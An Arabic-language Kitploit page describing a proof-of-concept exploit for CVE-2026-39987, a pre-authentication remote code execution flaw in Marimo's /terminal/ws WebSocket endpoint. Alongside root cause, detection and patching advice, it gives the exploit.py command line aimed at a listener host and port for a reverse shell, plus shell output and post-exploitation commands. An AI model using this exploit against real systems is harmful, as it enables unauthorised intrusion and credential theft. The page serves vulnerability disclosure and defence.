Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987 — استغلال إثبات المفهوم لثغرة RCE قبل المصادقة في Marimo. يستخدم نقطة نهاية WebSocket غير الموثَّقة /terminal/ws لإنشاء PTY وإقامة قشرة عكسية. | Kitploit
أدوات/GitHubGitHub/k3ystr0k3r/cve-2026-39987
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

استغلال إثبات المفهوم لثغرة RCE قبل المصادقة في Marimo. يستخدم نقطة نهاية WebSocket غير الموثَّقة /terminal/ws لإنشاء PTY وإقامة قشرة عكسية.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987 — ثغرة Marimo: تنفيذ تعليمات برمجية عن بُعد قبل المصادقة (RCE)

CVE CVSS CWE Marimo

CVE-2026-39987 هي ثغرة حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة (RCE) تؤثر على Marimo، وهي بيئة دفاتر ملاحظات Python تفاعلية.

توجد الثغرة في نقطة نهاية WebSocket الطرفية الخاصة بـ Marimo:

root@kitploit:~
/terminal/ws

فشلت نقطة النهاية في فرض المصادقة بشكل صحيح قبل إنشاء جلسة طرفية. ونتيجة لذلك، يمكن لمهاجم بعيد غير مصادَق قادر على الوصول إلى نسخة Marimo معرضة للخطر إنشاء اتصال WebSocket والحصول على قشرة PTY تفاعلية.

لا توجد حاجة إلى أي بيانات اعتماد صالحة.


ملخص الثغرة

الخاصيةالقيمة
CVECVE-2026-39987
المنتجMarimo
الثغرةتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة
ناقل الهجومالشبكة
المصادقةغير مطلوبة
تفاعل المستخدمغير مطلوب
CWECWE-306 — غياب المصادقة لوظيفة حرجة
الخطورةحرجة
الإصدار المُصحَّح0.23.0

كان سبب الثغرة هو عدم اتساق تطبيق المصادقة بين نقاط نهاية WebSocket الخاصة بـ Marimo.

في حين أن وظائف WebSocket الأخرى تنفذ التحقق من المصادقة، فإن نقطة النهاية المعرضة للخطر /terminal/ws كانت قادرة على قبول اتصال دون التحقق من الطالب أولًا.


السبب الجذري

تنشئ نقطة النهاية الطرفية المعرضة للخطر PTY تفاعلية بعد قبول اتصال WebSocket.

من الناحية المفاهيمية، يكون تدفق الطلب المعرض للخطر كما يلي:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

يكمن الحد الأمني المهم في غياب التحقق من المصادقة.

يجب ألا تسمح نقطة نهاية تتيح تنفيذ أوامر عشوائية لعميل غير مصادَق بالوصول إلى منطق إنشاء PTY.


الأثر

يمكن أن يوفّر الاستغلال الناجح تنفيذ أوامر عشوائية بصلاحيات عملية Marimo.

اعتمادًا على تكوين النشر، قد يسمح ذلك للمهاجم بـ:

  • تنفيذ أوامر عشوائية لنظام التشغيل
  • قراءة ملفات التطبيق
  • الوصول إلى متغيرات البيئة
  • الوصول إلى بيانات الاعتماد المتاحة لعملية Marimo
  • الوصول إلى الملفات المثبّتة داخل الحاوية
  • التنقل (Pivot) إلى بيئة داخلية أوسع
  • اختراق المضيف أو الحاوية الأساسيين عند توفر صلاحيات مفرطة

يكون الأثر بالغ الأهمية في بيئات دفاتر الملاحظات لأنها عادةً ما تمتلك وصولًا إلى مجموعات البيانات وواجهات برمجة التطبيقات وبيانات الاعتماد وموارد السحابة والبنية التحتية للتطوير.


إثبات المفهوم

تحذير: شغّل إثبات المفهوم (PoC) فقط ضد الأنظمة التي تملكها أو المصرَّح لك صراحةً باختبارها.

يحتوي هذا المستودع على إثبات مفهوم لتوضيح الثغرة في بيئة خاضعة للتحكم.

يوضح المثال أدناه الاستغلال ضد نسخة محلية/مختبرية.

تشغيل الهدف المعرض للخطر

على سبيل المثال:

root@kitploit:~
http://127.0.0.1:8081

يجب أن تكون نسخة Marimo المعرضة للخطر قيد التشغيل قبل إطلاق إثبات المفهوم.


تشغيل إثبات المفهوم

مثال:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

حيث:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

ينشئ إثبات المفهوم اتصال الطرفية المعرضة للخطر وينتظر اتصال القشرة الناتج.

مثال على المخرجات:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

توضيح القشرة (Shell)

بعد الاستغلال الناجح، يتلقى المهاجم قشرة تعمل بصلاحيات عملية Marimo.

تحديد المستخدم الحالي

root@kitploit:~
whoami

مثال:

root@kitploit:~
marimo

التحقق من هوية العملية

root@kitploit:~
id

مثال:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

يوضح هذا أنه يتم تنفيذ أوامر عشوائية عن بُعد باسم حساب marimo.


توضيح نظام الملفات

يمكن لإثبات المفهوم أيضًا توضيح الوصول إلى نظام الملفات المتاح للعملية المخترَقة.

root@kitploit:~
ls -la

مثال:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

الانتقال إلى جذر نظام الملفات:

root@kitploit:~
cd /
ls

مثال:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

يؤكد هذا أن القشرة البعيدة تمتلك وصولًا طبيعيًا إلى نظام الملفات وفقًا لصلاحيات عملية Marimo وقيود الحاوية المفروضة عليها.


سلسلة الاستغلال

يمكن تلخيص سلسلة الثغرة الكاملة كما يلي:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

يحدث الفشل الأمني الحرج في الخطوة 3.


الكشف

تشمل المؤشرات المحتملة للاستغلال اتصالات WebSocket غير متوقعة إلى:

root@kitploit:~
/terminal/ws

ونشاطًا غير معتاد للعمليات ينطلق من خادم Marimo.

ينبغي على المدافعين التحقق من:

  • الاتصالات غير المتوقعة بنقطة نهاية WebSocket الطرفية
  • عمليات القشرة غير المتوقعة التي يستحدثها Marimo
  • العمليات الفرعية المشبوهة
  • الاتصالات الصادرة غير المتوقعة
  • الوصول إلى متغيرات البيئة الحساسة
  • نشاط غير متوقع في نظام الملفات
  • أوامر مجهولة تنفذها عملية Marimo

المعالجة

قم بترقية Marimo إلى إصدار مُصحَّح:

root@kitploit:~
0.23.0 or later

بالإضافة إلى ذلك:

  • لا تعرّض Marimo مباشرة إلى الإنترنت العام إلا عند الضرورة.
  • ضع خدمات دفاتر الملاحظات خلف وكيل عكسي (Reverse Proxy) مع مصادقة.
  • قيّد الوصول إلى الشبكة بحيث يقتصر على المستخدمين والشبكات الموثوقين.
  • شغّل Marimo بأقل الصلاحيات المطلوبة.
  • تجنب تثبيت أدلة المضيف الحساسة داخل الحاوية.
  • بدّل بيانات الاعتماد التي ربما كانت متاحة للنسخ المخترَقة.
  • راجع السجلات بحثًا عن أي نشاط مشبوه متعلق بـ /terminal/ws.
  • حقق في النسخ التي يحتمل اختراقها بدلًا من افتراض أن الترقية وحدها تزيل استمرارية المهاجم.

التصنيف الأمني

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

المراجع

  • NVD — CVE-2026-39987
  • الاستشارة الأمنية من GitHub — GHSA-2679-6mx9-h9xc
  • نشرة Marimo الأمنية والتصحيح
  • كتالوج CISA للثغرات المستغلة المعروفة

إخلاء المسؤولية

يُقدَّم هذا المشروع لأغراض البحث الأمني والتحقق من الثغرات والتعليم.

لا تستخدم إثبات المفهوم (PoC) ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها.

تنزيل الأداة